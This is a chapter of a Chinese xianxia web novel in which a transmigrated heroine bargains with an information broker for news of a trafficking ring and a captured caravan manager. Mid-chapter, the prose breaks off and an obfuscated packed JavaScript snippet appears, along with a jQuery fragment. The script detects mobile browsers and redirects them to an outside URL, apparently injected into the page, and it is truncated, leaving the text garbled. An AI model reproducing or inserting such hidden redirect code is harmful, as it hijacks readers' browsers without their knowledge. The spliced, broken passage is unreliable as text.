这琉璃楼怎兜兜转转又找了她,她可不记得见过什么刺客,不过他们应还没确定是谁,不然也不会先抓风鹰的人。不知左管事什么时候会松口把她的消息吐出来,又能吐多少。她一个无根无凭的异乡人,能称得上线索的只有外貌,她也没易容的本事,不知对方能否凭借画像找到她栖居的小馆。
但她绝不能坐以待毙。
温泠淼同着老夫妻把店收完,在二人声声叮嘱中回了三楼的房间,门一锁,她脸上那副没心眼的笑容便消失得一干二净。她狠狠吐了口气,神情间有一丝挥之不去的阴翳。
冷静下来后,她又觉说不出的奇怪。她自觉这事情不值得如此大动干戈,也想不起从那屋子里搜出过有价值的东西。温泠淼眉心微微皱起,要么,是左管事后来又卷进了刺客的事里,要么,是当了小官的王麻子在借着抓刺客这杆大旗暗中借力。
若是这样就好办了,温泠淼点好银两,再翻出自己的旧衣,系在头上把面容一盖,就从窗口一跃而下。她灵力汇聚双腿,点亮灵穴,在无人的巷道中极速穿行着。
先去言刀想办法弄清楚琉璃楼的情况,是逃是杀才好从长计议。
这事发生的时机巧也不巧,她只要再喝两天蜂蜜水,就能晋升练气五层,到时她虽对什么武技剑技一窍不通,跟王麻子也有一战之力。说来可惜,这神秘系统的练体等级强制与练气相同,不然她还能先进练体五层,现在也能更主动些。
温泠淼闪身混入主街还算热闹的人群,而后身影一动,进了言刀门内。
这言刀不似其他店面,就算在这满城动荡之时,仍将大门悠然敞开着。白日里,石质的五层建筑灯火通明,门外置一足有丈高的红木架子,满当当挂着五色琉璃风铃,呈一道光怪陆离的风景,若有风穿堂而过,就能听那风铃转出悦耳的声音。而一细看,便会见每只风铃下系着的短册上总有寥寥几笔,像些零碎的消息。
就算心乱如温泠淼,也在路过这奇异的风铃架时,冥冥中像受了一种感召,一瞬放缓了脚步,往门口看去一眼。
她一进门,挂在梁上的铸铁风铃便无风自动,漾出稍显尖锐的声音。听见这铃声后,一位面容温润俊秀的青年便从柜台后起身,不急不徐地走至面前,笑道:“这位客官,来言刀是想要什么情报呢?”
温泠淼刻意压低了嗓音,先挑了个不敏感的问道:“可有今年漱玉宗宗门大选一事相关的信息?”
青年像见多了怪人,对此没表露一丝惊讶,他好看的唇弯出一个客气的弧度,伸手做了指引的动作,“宗门大选相关在我言刀都属公开信息,客官自可去门外百铃墙查看。”
“哪一个是?”
“客官凭直觉见的第一个便是。”
温泠淼藏在衣物阴影下的眉微皱,这命修怎跟风水先生样,神神叨叨的。她半信半疑地回到门前,随手捉了个最顺眼的,向风铃下的短册看去,却见其上果然用清隽端正的字迹写了漱玉宗大选的时间地点,除宋姓男子所言的四日后皓月台上外,还标注了具体方位图示。温泠淼目光微动,将之细细记下。
她又把短册翻个面,便见了漱玉宗的考核要求,条件出乎意料的简单,若年纪不过十岁,只须当场测出灵根即可,年纪稍大的,除须有灵根外,还得通过另外的测试。看到此,她眸光一动,这另外的测试说得轻巧,却不知具体事项,换句话说是情况少见,没做什么安排。希望对方不要一脚把自己这个超大龄学前儿童踹出门外,她再往下看去,短册上甚至还有此次负责大选的长老和另两位外门弟子名姓,就差给个负责人的联系方式了,温泠淼一笑,将之放回了原位。
罢了,天无绝人之路,这件事相对来说并不紧急,过不了她就去当个扫地杂役,女主角又不会跑,总有办法接近不是?
一事已毕,她走回堂中,那刚坐下来的青年抬眼见又是她,面露惊讶之色,随即挂上如沐春风的笑容,眯起眼道,“客官身上,有大生意的预感。不知可否随燕某上二楼详谈。”
“可。”温泠淼暗暗挑眉,她还没开口,这燕姓侍者倒知她还有事相求。不过她这扁扁的钱包和大生意三字可沾不上边。
但她也领教了言刀的古怪,便不多说一字,走在侍者后一步上了楼。
二楼不似一楼空旷,放眼望去只见一狭长的石质长廊,两侧分布着数间小石室。侍者领她到其中一间门前,将掌心覆在一道暗纹处。那暗纹像得了什么感应样骤然亮起,金色的细密光辉在门上蔓延,盘绕成怪异的图腾。图案一成,门便悄无声息地开了。温泠淼藏在阴影下的眼警惕地望去,却只见那室中一方石桌,两张石凳而已。
四方石壁上苍苔斑驳,古旧却不破败,散发着一道永恒静谧的气息。
侍者笑吟吟地对她做了个请的手势,道:“客官请放心,这里面除却一个隔绝任意声音的永静阵外,再无其他。”
“言刀从未与任意势力交好或结怨,您不必担心我们对自己的客人出手。”
温泠淼扯开一笑,她还是知这唯利是图的组织性子的,便先一步踏进室内坐下。待她和侍者落座,那厚重石门又悄无声息地合上,其上灵力化作的金线浮动,像是侍者所说的阵法在运转。
“我要琉璃楼的消息。”确认安全后,温泠淼开门见山道,侍者倒茶的手没有一丝停顿,好像这话听得多了。
“客官想要什么程度的情报呢?最下一档消息五两白银,但我也不妨同您说,这消息不会和您自己去打听的差多少。”侍者把茶杯推至温泠淼面前,淡笑道,“若是再详细一些的,则一枚灵石一道。而我们言刀最为拿手的,便是客订消息,您要什么我们查什么,再据秘密程度评估代价。”
这茶香淡雅甜美,比小馆的碎沫子茶不知上了几个档次。她只需浅浅一口,舌尖便被这甘甜清冽的滋味俘获。但温泠淼心情一点都不好,情报商果然才是最奸诈的,一个普通消息便要五两白银,她差不多得打工上一年。而灵石就更不用说,这修士的货币她上哪里找去,据说一枚灵石可兑白银百两,她看上去像冤大头吗。
“此外还有些最即时的新闻,这第三城中发生的一切,就没有我们言刀不知的。新闻也根据秘密程度划分等级,最低一两白银一道。例如今日南城门外发生的骚乱便是。”侍者饮着茶,不知有意还是无意,悠然抛出温泠淼无从拒绝的诱饵。
“所有消息?那我若要刺杀琉璃楼主男宠之人的情报,你言刀也能给?”温泠淼却不接他的话头,先回以一个质问。她面容看不真切,只听声音冰冷,又有些细微的沙哑。
“自然,不过如果精确到身份,我言刀也需付出极大代价,目前来看,没人能购买得起,包括您。”侍者笑意不改,“但在燕某看来,客官您真正想知道的并非此事。”
温泠淼还是一副不置可否的神情,侍者却说得极为笃定,“客官让燕某有一丝熟悉之感,看在这份上,燕某便多言两句,您现在千万莫要去掺这趟浑水。”
他如玉的指节在桌面上一下一下扣着,声音陡然变得遥远,好似接入了一个庞大的灵魂,或是命运的洪流。“我言刀有预感,此事只是一个开始,几日后,真正的好戏才会开场。”
他顿了顿,声音由虚返实,又挂上那副如沐春风的笑容,淡道:“届时,不是我等小修士和平民百姓能参与其中的。”
“多谢提醒,我要关于琉璃楼最下档的情报即可,还有今日南城门那事的消息。”温泠淼倒也干脆,不再追问下去。她没有自大到认为这好戏会与她有关,她前来此处,也只是想知道琉璃楼的打算,是真有牵扯,还是王麻子狐假虎威。她该逃,还是该杀。若杀,她又是否会惹上更大的麻烦。
至于大事,只希望不要影响到宗门大选就好。若是能为她打个掩护,便再好不过。
侍者笑容热切了些,他抬起手掌,轻轻在那石桌上一盖。等那掌心与桌面分开时,方才他手覆盖的地方已多了两张竹简。
温泠淼接过竹简,细细看去,眉头却松了些许。
与她料想的一样,王麻子只是琉璃楼最下层的一小供货人,像他这样通过各处渠道收集少年男女当货物上供的,楼里共有四十七个。按理说,王麻子虽为琉璃楼办事,但地位太低,属于哪天没了,琉璃楼也不会多看几眼的那类。
但不巧,她处理的那两人中,男人是王麻子的胞弟,这二人不知能否称上兄弟情深,王麻子一人进了琉璃楼,便不愿胞弟再趟这浑水,于是将之悉心安排在莽村网罗货物,并暗中给不少优待。只是他瞒的好,就连与他结了二十多年夫妻的女人都不知这层关系,只觉得多受其庇佑。而那莽村中人多多少少都是为琉璃楼办事的,见王麻子厚此薄彼,心中不平渐生。故而在她动手时无人阻止,反倒暗自在家拍手称快。等她一走,就有村民去找接头人添油加醋,上报邀功了。自然,省略了袖手旁观的部分
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413781|200728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
王麻子大怒之下前去莽村搜查,在山头上翻找几日后就见了二人遗体,又根据脚印等痕迹,锁定了风鹰商队。平日里,按王麻子这最底层地痞无赖的本事,就算给他安一百个胆子,也不敢在第三城闹事。谁料刺客事发,琉璃楼大怒,与内城方家勾结向外城施压,王麻子便趁乱从还未上交给琉璃楼的货中挑了一八九岁的姑娘,装成从楼里逃出的样子,逮住时机,向风鹰商队的管事左槐求助。
左槐年轻时曾育有一女,在与这孩子年纪相仿时失踪,他见女孩无辜可怜,竟一下忘了警惕,跟着她出了城。只是他刚一脚踏出归一万法阵,便被王麻子勾结两位道上兄弟捉走,他虽是修士,资质却极其平庸,多年来仍停留在练气二层。怎么抵抗得过。
因左槐这张尖刻的嘴,风鹰商队的人本就和他不亲,又碍着琉璃楼的势,全当这管事已经死了。
温泠淼无言,微微垂下了眼。若是村中人告密,那左槐知道的事必不会比村人更多了,王麻子捉他,线索倒是其次,怕也只不过为了泄愤,如此,这管事凶多吉少。
但她不能太急切,言刀的都是人精,她要前脚刚说一句可疑的话,谁知他们会不会下一秒就把消息再卖了去。
她定了定心,将眉目藏在阴影里,唇角扯开一道颇有兴味的笑容,哑着嗓子说:“可有这动手小辈的消息?此人身上有些古怪,我很在意。”
侍者有些许讶异,而后笑道:“没想到客官的眼光竟落在了这无名小辈上。此人实力浅,不出名,唯一的线索被困,对我言刀也是有些难处。不过,只有客官买得起的,就没有言刀打探不到的。客官若真有兴趣,两日内燕某必给答复。”
温泠淼却不答,只是暗想,看来在言刀这张只对钱开的大嘴巴处,自己还有两日左右的安全期。
她故作为难,犹豫了许久,踌躇道,“是有些兴趣,但我如今囊中羞涩,怕是付不起代价。若只要那左槐关押地和守卫的消息,我自去拿人来问,你们开价多少?”
“也是客订消息,”侍者思索了一会,坦然说,“不过省了些流程,价格便宜些,且立等可取。”
“罢了。”温泠淼听见客订二字,明了自己消费不起,起身欲走。却被侍者伸手虚虚拦了下来。温泠淼不动声色看去,青年不愠不恼,反倒是仍挂着那副热切的笑,热切到有些虚假。“客官不听我把话说完吗?”
没等温泠淼回应,他便径直说了下去。“我言刀的客订消息,只要代价。”
青年极为认真地看向温泠淼颈间,“客官莫要妄自菲薄,若我说,您这有价值相当的事物呢?”
温泠淼被他看得颈间一凉,微微皱眉,伸手捞出了那枚原身一直佩戴在身的杂色玉石吊坠。“这个?”
“正是。一枚玉佩,换您想要的消息,不是很划算吗?王麻子藏人的地方相当隐蔽,这消息别处可买不到。”他好似还不明白她为何犹豫般,微微皱起了眉。
天上没有白掉的馅饼。温泠淼不为所动,她仔细端详着玉佩,还是那副斑驳样子,不似任何天财地宝。她又探了丝灵力进去。也感知不到丝毫古怪,仿佛就是一块最普通不过的石头。
她没忘记书里谢星君找言刀客订消息的价格,这小东西能抵得上数百灵石?
“客官不用看了,不过凡石而已。其上的牵挂与回忆,和客官你放弃的东西,才是真正宝贵之物。请放心,言刀从不做亏本买卖。”侍者看穿了她的疑虑,先一步道,“另外,客官的时间也不多了。王麻子今日已卸了那左槐手臂,再放任不管,他撑不过三日。”
“不能换其他东西吗,我可以给言刀……”
她刚犹疑着开口,便被青年笑着打断。
“客官,言刀看上的,从不讨价还价。”
温泠淼眼神一瞬极为复杂,她下意识咬了咬唇,玉佩是原身最珍重之物,它承载了她所不知的美好回忆。她窃取身份就算了,有什么权力再偷拿原身珍贵的东西,为自己的无能买单?
但她当她无意识地扫过桌上的竹简时,又无法抵抗从心底泛出的不忍,左槐虽刻薄坑钱,但人总归不坏。那日,她状似无意问起琉璃楼时,他也会因不想让她了解这些而用粗鲁尖锐的话敷衍过去。
说到底,他只是一个被她牵扯进去的普通人,他向女孩伸出援手时,想的也只是自己失去的女儿,他又何错之有?
温泠淼闭上了眼睛。